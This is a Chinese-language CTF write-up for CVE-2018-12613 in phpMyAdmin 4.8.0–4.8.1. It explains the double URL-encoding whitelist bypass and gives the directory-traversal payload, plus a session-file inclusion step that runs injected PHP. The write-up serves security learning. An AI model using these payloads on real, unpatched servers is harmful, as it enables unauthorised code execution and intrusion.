该漏洞影响phpMyAdmin 4.8.0-4.8.1版本
checkPageValidity函数对数据的处理逻辑不够严密,利用二次url编码绕过文件包含检测
payload
通过查询在session中添加php语句,再通过文件包含执行
?target=db_sql.php%253f/…/…/…/…/…/…/…/…/(要包含的文件)
target有白名单检测机制,db_sql.php在白名单中
通过?的二次编码成%253f
target在检测白名单的时候,会对db_sql.php%253f进行二次url解码,解码成db_sql.php?,因为是GET传参因此会省略?后面部分的内容,这时db_sql.php?可以通过白名单限制
但在进行文件包含时,只进行了一次url解码,解码成db_sql.php%3f,此时%3f没有被解码,php会把它当成一个路径
然后再通过db_sql.php%3f/…/…/…/…/…/,进行目录跳转就可以一直回溯到根目录,然后可以包含任意文件
通过包含日志来利用
[BUU [PHPMYADMIN]CVE-2018-12613 ](https://buuoj.cn/challenges#[PHPMYADMIN]CVE-2018-12613)
打开是个phpMyAdmin界面
payload
通过查询在session中添加php语句,再通过文件包含执行
?target=db_sql.php%253f/…/…/…/…/…/…/…/…/tmp/(SESSION文件)
执行sql语句,会把sql语句执行的结果保存在session文件中
select “<?php phpinfo();?>”
再通过文件包含session文件,执行php phpinfo();
?target=db_sql.php%253f/…/…/…/…/…/…/…/…/tmp/(SESSION文件)
找到flag